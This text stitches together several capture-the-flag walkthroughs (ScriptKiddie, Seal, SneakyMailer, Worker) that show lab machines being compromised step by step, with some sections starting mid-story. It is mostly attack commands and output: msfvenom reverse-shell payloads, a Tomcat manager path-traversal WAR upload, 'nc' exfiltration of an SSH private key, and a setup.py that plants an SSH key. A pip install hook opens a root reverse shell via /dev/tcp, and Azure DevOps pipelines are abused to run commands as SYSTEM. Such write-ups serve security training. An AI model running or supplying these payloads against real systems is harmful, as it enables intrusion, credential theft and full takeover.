OS: Linux Difficulty: Easy Points: 20 Release: 06 Feb 2021 IP: 10.10.10.226
information gathering
first use nmap as usaul
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/ScriptKiddie] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.226 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
Port 5000 Webapp
Some kind of hacking tool.
When generating any windows or linux payload using the website on port 5000 we discover a /static/payloads/name.exe of generated payloads where we can download from:
Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.apk yes The APK file name
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.3 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
┌──(root💀kali)-[~/hackthebox/machine/ScriptKiddie] └─# nc -lvp 4444 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.10.226. Ncat: Connection from 10.10.10.226:56260. id uid=1000(kid) gid=1000(kid) groups=1000(kid) whoami kid python -c 'import pty; pty.spawn("/bin/bash")' /bin/sh: 3: python: not found python3 -c 'import pty; pty.spawn("/bin/bash")' kid@scriptkiddie:~/html$ id id uid=1000(kid) gid=1000(kid) groups=1000(kid) kid@scriptkiddie:~/html$ cd cd kid@scriptkiddie:~$ ls ls html logs snap user.txt kid@scriptkiddie:~$ cat user.txt cat user.txt b8f1aa40582cab9d40ac5866fbb13ec1
and the user flag…
get root
There is also a second user of name pwn.
After a shell on the box we found a script running as pwn:
After quick testing for command injection inside /home/kid/logs/hackers file we were able to put two spaces and then semicolon with our bash reverse shell in order to get command execution (We also commented out the rest of the nmap command with ‘#’ in the script in order to escape the redirection to /dev/null output):
┌──(root💀kali)-[~] └─# nc -lvp 443 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.10.10.226. Ncat: Connection from 10.10.10.226:57604. bash: cannot set terminal process group (842): Inappropriate ioctl for device bash: no job control in this shell pwn@scriptkiddie:~$ id id uid=1001(pwn) gid=1001(pwn) groups=1001(pwn) pwn@scriptkiddie:~$ whoami whoami pwn pwn@scriptkiddie:~$ sudo -l sudo -l Matching Defaults entries for pwn on scriptkiddie: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie: (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
OS: Linux Difficulty: Medium Points: 30 Release: 10 Jul 2021 IP: 10.10.10.250
Enumeration
use nmap as usual
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/seal] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.250 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) 8080/tcp open http-proxy
So the SSL certificate gives you a domain name seal.htb so let’s add it in /etc/hosts.
1
echo"10.10.10.250 seal.htb" >> /etc/hosts
now that we have that let’s visit some ports.
Port 443
looks like a fancy version of some market for vegetables and store page was almost static except for the search bar and contact us form so let’s move on to
Port 8080
Visiting port 8080 we have a Gitbucket instance so let’s register an account and then login in with it.
After logging in we can see two repos by root infra and seal_market.
From port 443 we have the instance of seal_market over there so that looks intresting so let’s move on with that.
Reading the README.md file gives us something intrsting.
1 2 3 4 5 6 7 8
Seal Market App =============== A simple online market application which offers free shopping, avoid crowd in this pandemic situation, saves time.
## ToDo * Remove mutual authentication for dashboard, setup registration and login features. * Deploy updated tomcat configuration. * Disable manager and host-manager.
So First we know that nginx is just relaying the request to backend tomcat server and secondly the configuration for this server is not the newest as shown in the repos so we can search through commit as the older configuration might be vulnerable.
And Lastly we know that we have access to manager and host-manager from the https://seal.htb/ so let’s try that.
Looks like we can access https://seal.htb/manager/status.xsd
and also we have have https://seal.htb/manager/jmxproxy
and yeah it’s asked from creds so let’s go on finding those in some previous commit as we know that it is using old tomcat configuration from the README.md file.
Looking through commits on this repo we have 13 commit which wouldn’t be much to look through.
The commit commit looks intresting in our context which is adding ‘adding tomcat configuration’ and ‘updating tomcat configuration’ as we know that updating configuration is probably the current version let’s check ‘adding tomcat configuration’ first.
<?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <tomcat-usersxmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <!-- NOTE: By default, no user is included in the "manager-gui" role required to operate the "/manager/html" web application. If you wish to use this app, you must define such a user - the username and password are arbitrary. It is strongly recommended that you do NOT use one of the users in the commented out section below since they are intended for use with the examples web application. --> <!-- NOTE: The sample user and role entries below are intended for use with the examples web application. They are wrapped in a comment and thus are ignored when reading this file. If you wish to configure these users for use with the examples web application, do not forget to remove the <!.. ..> that surrounds them. You will also need to set the passwords to something appropriate. --> <!-- <role rolename="tomcat"/> <role rolename="role1"/> <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> <user username="role1" password="<must-be-changed>" roles="role1"/> --> <userusername="tomcat"password="42MrHBf*z8{Z%"roles="manager-gui,admin-gui"/> </tomcat-users>
Now we have username and password let’s try to login on https://seal.htb/manager/jmxproxy
And boom we are in the manager pannel.
Looking for exploit for tomcat I found an intresting path traversal exploit in tomcat which uses reverse proxy which is the case here as nginx is used as reverse proxy for tomcat running on localhost.
So from above article we can try directory path traversal to exploit and access forbidden page.
https://seal.htb/manager/jmxproxy/..;/html
this takes us to the home page of tomcat manager. Now as we can deploy war file we can just get the revershell easily.
Exploitation
So first let’s generate war payload.
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/machine/seal] └─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.19 LPORT=2525 -f war -o luci.war Payload size: 1089 bytes Final size of war file: 1089 bytes Saved as: luci.war ┌──(root💀kali)-[~/hackthebox/machine/seal] └─# ls luci.war
Now lets upload war file.
fire up the burpsuite and intercept the request.
you will see this request in intercept tab just change the url as we are not allowed to directly access html.
so your final request should look like the above just the url and forward it.
Trriger you rev shell.
1
curl -k 'https://seal.htb/luci/'
And boom we have the revshell.
1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/hackthebox/machine/seal] └─# rlwrap nc -nlvp 2525 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::2525 Ncat: Listening on 0.0.0.0:2525 Ncat: Connection from 10.10.10.250. Ncat: Connection from 10.10.10.250:43848. id uid=997(tomcat) gid=997(tomcat) groups=997(tomcat) whoami tomcat
PrivESC to User
Enumeration
User’s home directory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
ls -al /home/luis total 51320 drwxr-xr-x 9 luis luis 4096 May 7 07:01 . drwxr-xr-x 3 root root 4096 May 5 12:52 .. drwxrwxr-x 3 luis luis 4096 May 7 06:00 .ansible lrwxrwxrwx 1 luis luis 9 May 5 12:57 .bash_history -> /dev/null -rw-r--r-- 1 luis luis 220 May 5 12:52 .bash_logout -rw-r--r-- 1 luis luis 3797 May 5 12:52 .bashrc drwxr-xr-x 3 luis luis 4096 May 7 07:00 .cache drwxrwxr-x 3 luis luis 4096 May 5 13:45 .config drwxrwxr-x 6 luis luis 4096 Jul 10 19:18 .gitbucket -rw-r--r-- 1 luis luis 52497951 Jan 14 02:51 gitbucket.war drwxrwxr-x 3 luis luis 4096 May 5 13:41 .java drwxrwxr-x 3 luis luis 4096 May 5 14:33 .local -rw-r--r-- 1 luis luis 807 May 5 12:52 .profile drwx------ 2 luis luis 4096 May 7 06:10 .ssh -r-------- 1 luis luis 33 Jul 10 19:18 user.txt
ps -aux
looking at the process running this thing caught my eye as there was .ansible directory in luis home directory and there a process running as luis probably a backup service.
1 2 3 4 5
ps -aux <-----SNIP------> luis 940 0.0 0.0 2608 604 ? Ss Jul10 0:00 /bin/sh -c java -jar /home/luis/gitbucket.war tomcat 145365 0.0 0.0 2608 536 ? S 08:27 0:00 /bin/sh root 147949 0.0 0.0 2608 548 ? Ss 08:41 0:00 /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
The intresting part in this thing is that it also copies the symblink also as it has copy_links=yes. so this gave me an idea to create a symblink of file or folder.
looking at the permission of the folder we have only read only access to it.
1 2 3 4 5 6 7 8 9 10
ls -al /var/lib/tomcat9/webapps/ROOT/admin/dashboard total 100 drwxr-xr-x 7 root root 4096 May 7 09:26 . drwxr-xr-x 3 root root 4096 May 6 10:48 .. drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap drwxr-xr-x 2 root root 4096 Mar 7 2015 css drwxr-xr-x 4 root root 4096 Mar 7 2015 images -rw-r--r-- 1 root root 71744 May 6 10:42 index.html drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts drwxrwxrwx 2 root root 4096 May 7 09:26 uploads
but if we check the subfolder we have read and write access to it so let’s try on that first.
1
cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
Exploitation
Now we have to think of what to symlink so we know the user luis have .ssh directory so that might be intresting so let’s try that.
Now wait for it to create the new archive. After that creates the new archive it usually takes about a minute to do so be patient. After you have the archive just move it to /dev/shm cause you cannot extract the archive in that folder as it is read only.
cp backup-2021-<--SNIP-->.gz oops.gz gzip -kd oops.gz ls ls oops oops.gz tmp tar -xf oops tar -xf oops ls ls dashboard oops oops.gz tmp cd dashboard cd dashboard ls ls bootstrap css images index.html scripts uploads cd uploads cd uploads ls ls ls -al ls -al total 0 drwxr-x--- 3 tomcat tomcat 60 Jul 12 06:53 . drwxr-x--- 7 tomcat tomcat 160 May 7 09:26 .. drwx------ 2 tomcat tomcat 100 May 7 06:10 .ssh
now we have the SSH directory so let’s check it out.
1 2 3 4
cd .ssh ls ls authorized_keys id_rsa id_rsa.pub
now let’s get id_rsa and SSH as luis. in tomcat shell before executing below command make sure you are listening on that port.
1
nc 10.10.14.19 3344 < id_rsa
in your shell
1 2 3
kali@kali:~/HackTheBox/Seal$ nc -nlvp 3344 > id_rsa listening on [any] <--SNIP--> ... connect to [<--SNIP-->] from (UNKNOWN) [<--SNIP-->] 60546
┌──(root💀kali)-[~/hackthebox/machine/seal] └─# chmod 600 id_rsa ┌──(root💀kali)-[~/hackthebox/machine/seal] └─# ssh -i id_rsa luis@seal.htb The authenticity of host 'seal.htb (10.10.10.250)' can't be established. ECDSA key fingerprint is SHA256:YTRJC++A+0ww97kJGc5DWAsnI9iusyCE4Nt9fomhxdA. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'seal.htb,10.10.10.250' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 12 Jul 2021 02:19:23 PM UTC System load: 0.1 Usage of /: 47.4% of 9.58GB Memory usage: 36% Swap usage: 0% Processes: 156 Users logged in: 0 IPv4 address for eth0: 10.10.10.250 IPv6 address for eth0: dead:beef::250:56ff:feb9:a6 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Mon Jul 12 04:38:58 2021 from 10.10.14.63 -bash-5.0$ id uid=1000(luis) gid=1000(luis) groups=1000(luis) -bash-5.0$ whoami luis -bash-5.0$ cat user.txt d4759ed9c0d1d1d933f3552395a139b1
Now let’s go for root.
PrivESC to root
Enumeration
sudo -l
1 2 3 4 5 6
luis@seal:~$ sudo -l Matching Defaults entries for luis on seal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal: (ALL) NOPASSWD: /usr/bin/ansible-playbook *
Now we can see we can run the command ansible-playbook as root. This was more easy than the user part as it is just to create a bad yml file and make it run any command as root.
-bash-5.0$ sudo /usr/bin/ansible-playbook oops.yml [WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [localhost] *****************************************************************************************************************
TASK [oops] ********************************************************************************************************************** [WARNING]: Consider using the file module with mode rather than running 'chmod'. If you need to use command because file is insufficient you can add 'warn: false' to this command task or set'command_warnings=False'in ansible.cfg to get rid of this message. changed: [localhost]
enter creds for smtp server 10.10.10.197 and mail paulbyrd@sneakymailer.htb
then go to look sent items
we got the following items
mail 1:
1 2 3 4 5 6 7 8 9 10
发件人: Paul Byrd <paulbyrd@sneakymailer.htb> 收件人: low@debian 主题: Module testing 日期: Wed, 27 May 2020 13:28:58 -0400
Hello low
Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.
mail 2:
1 2 3 4 5 6 7 8 9 10 11
发件人: Paul Byrd <paulbyrd@sneakymailer.htb> 收件人: root <root@debian> 主题: Password reset 日期: Fri, 15 May 2020 13:03:37 -0500 (2020年05月15日 14时03分37秒)
Hello administrator, I want to change this password for the developer account Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do it
root@kali:~/hackthebox/machine/SneakyMailer# ftp 10.10.10.197 Connected to 10.10.10.197. 220 (vsFTPd 3.0.3) Name (10.10.10.197:root): developer 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxr-x 8 0 1001 4096 Jul 12 02:47 dev 226 Directory send OK. ftp> cd dev 250 Directory successfully changed. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 May 26 19:52 css drwxr-xr-x 2 0 0 4096 May 26 19:52 img -rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php drwxr-xr-x 3 0 0 4096 May 26 19:52 js drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi drwxr-xr-x 4 0 0 4096 May 26 19:52 scss -rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor 226 Directory send OK.
then upload the phpreverseshell to the dictionary
1 2 3 4 5 6
ftp> put shell.php local: shell.php remote: shell.php 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5492 bytes sent in 0.00 secs (59.5179 MB/s)
developer@sneakymailer:/tmp/mypkg$ scp root@10.10.14.4:/root/hackthebox/machine/SneakyMailer/.pypirc . <4.4:/root/hackthebox/machine/SneakyMailer/.pypirc . Could not create directory '/var/www/dev.sneakycorp.htb/.ssh'. The authenticity of host '10.10.14.4 (10.10.14.4)' can't be established. ECDSA key fingerprint is SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U. Are you sure you want to continue connecting (yes/no)? yes yes Failed to add the host to the list of known hosts (/var/www/dev.sneakycorp.htb/.ssh/known_hosts). root@10.10.14.4's password: 2525
try: with open("/home/low/.ssh/authorized_keys", "a") as f: f.write("\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMM20bpCOUwHR4+8hMegW7FanYYPdA6yJZ1OIniwUDXn root@kali") f.close() except Exception as e: pass setuptools.setup( name="example-pkg3", # Replace with your own username version="0.0.1", author="Example Author", author_email="author@example.com", description="A small example package", long_description="", long_description_content_type="text/markdown", url="https://github.com/pypa/sampleproject", packages=setuptools.find_packages(), classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], )
then use scp to transfer it:
1 2 3 4 5 6 7 8 9 10 11
developer@sneakymailer:/tmp/mypkg$ scp root@10.10.14.4:/root/hackthebox/machine/SneakyMailer/setup.py . <.4:/root/hackthebox/machine/SneakyMailer/setup.py . Could not create directory '/var/www/dev.sneakycorp.htb/.ssh'. The authenticity of host '10.10.14.4 (10.10.14.4)' can't be established. ECDSA key fingerprint is SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U. Are you sure you want to continue connecting (yes/no)? yes yes Failed to add the host to the list of known hosts (/var/www/dev.sneakycorp.htb/.ssh/known_hosts). root@10.10.14.4's password: 2525
setup.py 100% 720 0.7KB/s 00:00
change HOME environment so that .pypirc can be used and run the setup.py:
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. No mail. Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105 low@sneakymailer:~$ id uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg) low@sneakymailer:~$ whoami low
then we got user.txt
1 2 3 4
low@sneakymailer:~$ ls user.txt venv low@sneakymailer:~$ cat user.txt 92d8adff6a2d3da02673a9fb6aa471a4
privilege esclation
run the following command
1 2 3 4 5 6 7
low@sneakymailer:~$ sudo -l sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Matching Defaults entries for low on sneakymailer: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User low may run the following commands on sneakymailer: (root) NOPASSWD: /usr/bin/pip3
let’s cd to /dev/shm, then create a python script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from setuptools import setup from setuptools.command.install import install import base64 import os class CustomInstall(install): def run(self): install.run(self) os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9002 0>&1'") setup( name='FakePip', version='0.0.1', description='This will exploit a sudoer able to /usr/bin/pip install *', url='https://github.com/0x00-0x00/fakepip', author='zc00l', author_email='andre.marques@esecurity.com.br', license='MIT', zip_safe=False, cmdclass={'install': CustomInstall})
run the following payload
1 2 3 4 5
low@sneakymailer:/dev/shm$ sudo /usr/bin/pip3 install . --upgrade --force-reinstall sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Processing /dev/shm Building wheels for collected packages: FakePip Running setup.py bdist_wheel for FakePip ... -
root@kali:~# nc -lvp 9002 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9002 Ncat: Listening on 0.0.0.0:9002 Ncat: Connection from 10.10.10.197. Ncat: Connection from 10.10.10.197:40898. root@sneakymailer:/tmp/pip-req-build-ht66bwjk# id id uid=0(root) gid=0(root) groups=0(root) root@sneakymailer:/tmp/pip-req-build-ht66bwjk# whoami whoami root root@sneakymailer:/tmp/pip-req-build-ht66bwjk# cd /root cd /root root@sneakymailer:~# ls ls root.txt root@sneakymailer:~# cat root.txt cat root.txt 464554578c27d528fb9c5710ec3de868
root@kali:~# nmap -sV -v -p- --min-rate=10000 10.10.10.203 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 3690/tcp open svnserve Subversion 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
web
then browser to the following url
1
http://10.10.10.203/
shows us a default IIS webpage:
svnserve Subversion
looking around and found the following website:
SVN Commands Cheat Sheet
With this article we should be able to enumerate this service
1 2 3
root@kali:~# svn list svn://10.10.10.203 dimension.worker.htb/ moved.txt
time to download those files
1 2 3 4 5 6 7 8 9 10
root@kali:~/hackthebox/machine/worker# svn export svn://10.10.10.203/moved.txt A moved.txt 完成导出。 root@kali:~/hackthebox/machine/worker# ls moved.txt root@kali:~/hackthebox/machine/worker# cat moved.txt This repository has been migrated and will no longer be maintaned here. You can find the latest version at: http://devops.worker.htb
// The Worker team :)
seen a new host name so also should add that to our /etc/hosts
1
http://devops.worker.htb
look at the dimensions page, find again a lot sub domains:
Added note that repo has been migrated ------------------------------------------------------------------------ r4 | nathen | 2020-06-20 09:50:20 -0400 (六, 2020-06-20) | 1 行
Moving this repo to our new devops server which will handle the deployment for us ------------------------------------------------------------------------ r3 | nathen | 2020-06-20 09:46:19 -0400 (六, 2020-06-20) | 1 行
root@kali:~/hackthebox/machine/worker# svn export -r 2 svn://10.10.10.203 –force A –force A –force/deploy.ps1 A –force/dimension.worker.htb A –force/dimension.worker.htb/LICENSE.txt A –force/dimension.worker.htb/README.txt A –force/dimension.worker.htb/assets A –force/dimension.worker.htb/assets/css A –force/dimension.worker.htb/assets/css/fontawesome-all.min.css A –force/dimension.worker.htb/assets/css/main.css A –force/dimension.worker.htb/assets/css/noscript.css A –force/dimension.worker.htb/assets/js A –force/dimension.worker.htb/assets/js/breakpoints.min.js A –force/dimension.worker.htb/assets/js/browser.min.js A –force/dimension.worker.htb/assets/js/jquery.min.js A –force/dimension.worker.htb/assets/js/main.js A –force/dimension.worker.htb/assets/js/util.js A –force/dimension.worker.htb/assets/sass A –force/dimension.worker.htb/assets/sass/base A –force/dimension.worker.htb/assets/sass/base/_page.scss A –force/dimension.worker.htb/assets/sass/base/_reset.scss A –force/dimension.worker.htb/assets/sass/base/_typography.scss A –force/dimension.worker.htb/assets/sass/components A –force/dimension.worker.htb/assets/sass/components/_actions.scss A –force/dimension.worker.htb/assets/sass/components/_box.scss A –force/dimension.worker.htb/assets/sass/components/_button.scss A –force/dimension.worker.htb/assets/sass/components/_form.scss A –force/dimension.worker.htb/assets/sass/components/_icon.scss A –force/dimension.worker.htb/assets/sass/components/_icons.scss A –force/dimension.worker.htb/assets/sass/components/_image.scss A –force/dimension.worker.htb/assets/sass/components/_list.scss A –force/dimension.worker.htb/assets/sass/components/_table.scss A –force/dimension.worker.htb/assets/sass/layout A –force/dimension.worker.htb/assets/sass/layout/_bg.scss A –force/dimension.worker.htb/assets/sass/layout/_footer.scss A –force/dimension.worker.htb/assets/sass/layout/_header.scss A –force/dimension.worker.htb/assets/sass/layout/_main.scss A –force/dimension.worker.htb/assets/sass/layout/_wrapper.scss A –force/dimension.worker.htb/assets/sass/libs A –force/dimension.worker.htb/assets/sass/libs/_breakpoints.scss A –force/dimension.worker.htb/assets/sass/libs/_functions.scss A –force/dimension.worker.htb/assets/sass/libs/_mixins.scss A –force/dimension.worker.htb/assets/sass/libs/_vars.scss A –force/dimension.worker.htb/assets/sass/libs/_vendor.scss A –force/dimension.worker.htb/assets/sass/main.scss A –force/dimension.worker.htb/assets/sass/noscript.scss A –force/dimension.worker.htb/assets/webfonts A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.eot A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.svg A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.ttf A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.woff A –force/dimension.worker.htb/assets/webfonts/fa-brands-400.woff2 A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.eot A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.svg A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.ttf A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.woff A –force/dimension.worker.htb/assets/webfonts/fa-regular-400.woff2 A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.eot A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.svg A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.ttf A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.woff A –force/dimension.worker.htb/assets/webfonts/fa-solid-900.woff2 A –force/dimension.worker.htb/images A –force/dimension.worker.htb/images/bg.jpg A –force/dimension.worker.htb/images/overlay.png A –force/dimension.worker.htb/images/pic01.jpg A –force/dimension.worker.htb/images/pic02.jpg A –force/dimension.worker.htb/images/pic03.jpg A –force/dimension.worker.htb/index.html
then look at the deploy.ps1 we see some credentials:
root@kali:~# nc -lvp 4445 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 10.10.10.203. Ncat: Connection from 10.10.10.203:50819. Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
PS W:\svnrepos\www\conf> type passwd type passwd ### This file is an example password file for svnserve. ### Its format is similar to that of svnserve.conf. As shown in the ### example below it contains one section labelled [users]. ### The name and password for each user follow, one account per line.
after some enum, we can’t privesc to root with robisl, (or maybe there a way but didn’t find anything usefull)
come back on the website devops.worker.htb and tryied to connect as robisl using wolves11 as password.
We are connected !
And the repo isn’t the same but nothing really usefull inside it. (no password stored, etc…)
But we can see we can create pipeline.
create a basic project.
go to pipeline, start one, then take Azure Repos git, select the basic default option (partunlimited)
then pick “Starter pipeline” in the different project list.
on the config script we can see we can execute command. okay let’s see what’s we are:
replace echo Hello, world by whoami.
And remove the line:
1
pool: 'Default'
because the server don’t have pool agent so the build will fail and we won’t have code execution.
now it’s all good press Save and run and let’s wait the build finish.
when looking at the log (script log) , we can see we run as
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
##[section]Starting: Run a one-line script ============================================================================== Task : Command line Description : Run a command line script using Bash on Linux and macOS and cmd.exe on Windows Version : 2.151.1 Author : Microsoft Corporation Help : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/command-line ============================================================================== Generating script. Script contents: whoami ========================== Starting Command Output =========================== ##[command]"C:\Windows\system32\cmd.exe" /D /E:ON /V:OFF /S /C "CALL "w:\agents\agent11\_work\_temp\b1a4ec90-9e94-4e5f-9074-a565cefb9956.cmd"" nt authority\system ##[section]Finishing: Run a one-line script
We run the code execution as root!!!
just create another pipeline and change script command to
1
type C:\Users\Administrator\Desktop\root.txt
and we got the root flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
##[section]Starting: Run a one-line script ============================================================================== Task : Command line Description : Run a command line script using Bash on Linux and macOS and cmd.exe on Windows Version : 2.151.1 Author : Microsoft Corporation Help : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/command-line ============================================================================== Generating script. Script contents: type C:\Users\Administrator\Desktop\root.txt ========================== Starting Command Output =========================== ##[command]"C:\Windows\system32\cmd.exe" /D /E:ON /V:OFF /S /C "CALL "w:\agents\agent11\_work\_temp\389e4fa6-cf26-41d6-9dc5-7d09979f7b00.cmd"" 43ebb4cb30276f0c2e77511c1d5b69d4 ##[section]Finishing: Run a one-line script
this is a ctf,we can stop at here now.
or add a reverse shell command if you want to connect to your local machine.